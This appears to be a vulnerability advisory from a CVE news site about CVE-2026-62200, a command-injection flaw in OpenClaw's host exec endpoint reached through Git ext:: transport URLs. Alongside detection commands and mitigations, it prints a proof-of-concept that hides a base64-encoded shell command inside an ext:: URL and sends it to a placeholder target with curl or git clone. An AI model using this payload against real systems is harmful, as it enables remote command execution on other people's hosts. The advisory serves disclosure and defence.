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How CVE-2026-62200 Works
OpenClaw is an open-source host-side execution agent designed for Git collaboration scenarios. Its `host exec` entry point assembles environment variables and transport parameters for subprocesses. Versions before 2026.6.6 contain a critical flaw in the host execution environment filtering mechanism that directly impacts Git external transport functionality.
The vulnerability arises from insufficient sanitization of external transport parameters processed within the host environment. When the affected feature is enabled and reachable, a lower-trust caller or configured input path can execute or persist actions beyond the caller’s intended authorization. The core issue is that the `host exec` subsystem does not strictly validate Git `ext::` protocol URLs when assembling subprocess environment variables and working directories.
Specifically, the flaw allows an attacker to manipulate the execution flow of legitimate system processes by injecting malicious Git `ext::` transport URLs. These URLs are not properly filtered, enabling an attacker with low privileges to induce the system to execute arbitrary commands as the current caller. The vulnerability operates at the intersection of input handling and privilege management, specifically targeting the boundary between trusted and untrusted execution contexts.
The attack vector is network-based, requires low privileges, and does not require user interaction. The technical implementation flaw resides in how OpenClaw handles external transport protocols, particularly concerning Git-based operations. When these vulnerable components are accessible to untrusted inputs, the system fails to properly validate and sanitize transport parameters before processing them within the host environment.
This creates a path where an attacker can inject malicious commands or manipulate execution paths that should be restricted to authorized users only. The vulnerability is categorized under CWE-184 (Incomplete List of Disallowed Inputs). Attackers can leverage this flaw to escalate privileges beyond their intended authorization levels, potentially gaining access to sensitive resources or establishing backdoors within the host environment. The attack surface expands significantly considering Git transport operations are commonly used in automated deployment pipelines and CI/CD systems.
DailyCVE Form
| Field | Value |
|–|–|
| Platform | OpenClaw |
| Version | < 2026.6.6 |
| Vulnerability | Auth Bypass/RCE |
| Severity | HIGH (8.8) |
| Date | 2026-07-13 |
| Prediction | 2026-07-14 |
What Undercode Say: Analytics
Check OpenClaw version
openclaw --version
Identify vulnerable installations (version < 2026.6.6)
npm list openclaw | grep -E "openclaw@[0-9]{4}.[0-9]+.[0-9]+" | while read line; do
version=$(echo $line | grep -oE "[0-9]{4}.[0-9]+.[0-9]+")
if [[ "$version" < "2026.6.6" ]]; then
echo "Vulnerable: $version"
fi
done
Check if Git ext transport feature is enabled
grep -r "gitExtTransport" /etc/openclaw/config.yml 2>/dev/null || echo "Config not found"
Monitor for suspicious Git ext:// URLs in logs
tail -f /var/log/openclaw/access.log | grep -E "ext::[a-zA-Z0-9]+"
Analytics Insight: The vulnerability is remotely exploitable with low attack complexity. EPSS data is not yet available, but given the critical nature and the involvement of Git transport in CI/CD pipelines, exploitation attempts are highly likely within days of public disclosure. The flaw maps to MITRE ATT&CK techniques for privilege escalation and persistence.
Exploit
Proof-of-Concept: Craft malicious Git ext:: transport URL
Replace TARGET_HOST with the vulnerable OpenClaw instance
Replace PAYLOAD with encoded command (e.g., id; whoami)
PAYLOAD="id; whoami"
ENCODED=$(echo -n "$PAYLOAD" | base64 -w 0)
MALICIOUS_URL="ext::sh -c 'echo $ENCODED | base64 -d | sh'"
Trigger the vulnerability via host exec endpoint
curl -X POST "https://TARGET_HOST/host/exec" \
-H "Content-Type: application/json" \
-d "{\"repo\": \"$MALICIOUS_URL\", \"command\": \"clone\"}"
Alternative: Use Git command with ext:: transport
git clone "ext::sh -c 'echo $ENCODED | base64 -d | sh'"
If successful, the command executes with the privileges of the OpenClaw process
Exploit Mechanism: A lower-trust caller submits a crafted Git `ext::` transport URL through the `host exec` endpoint. Because the input path is not properly validated, the URL is passed to the subprocess environment, where the `ext::` handler executes the embedded shell command. This bypasses authorization checks and allows arbitrary command execution.
Protection
- Upgrade OpenClaw to version 2026.6.6 or later immediately.
- If immediate upgrade is not possible, disable Git ext transport if not required.
- Apply input validation – implement a strict whitelist for Git transport schemes (allow only
https,ssh,git, etc.) and reject any `ext::` URLs. - Restrict network access to the `host exec` endpoint – limit it to trusted IP ranges and authenticated users only.
- Monitor logs for suspicious `ext::` patterns and unexpected subprocess executions.
- Enforce least privilege – run OpenClaw with the minimum required permissions and avoid running it as root.
Impact
- Remote Code Execution (RCE) – An attacker with low privileges can execute arbitrary commands on the host system.
- Privilege Escalation – Commands execute with the privileges of the OpenClaw process, potentially leading to full system compromise.
- Data Exfiltration – Attackers can access source code repositories, sensitive files, and environment variables.
- Persistence – Malicious actors can establish backdoors for continued access.
- Lateral Movement – Compromised OpenClaw instances can be used to pivot to other systems within the network.
- CI/CD Pipeline Disruption – Since Git transport is commonly used in deployment pipelines, attackers can inject malicious code into builds or deployments.
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Sources:
Reported By: nvd.nist.gov
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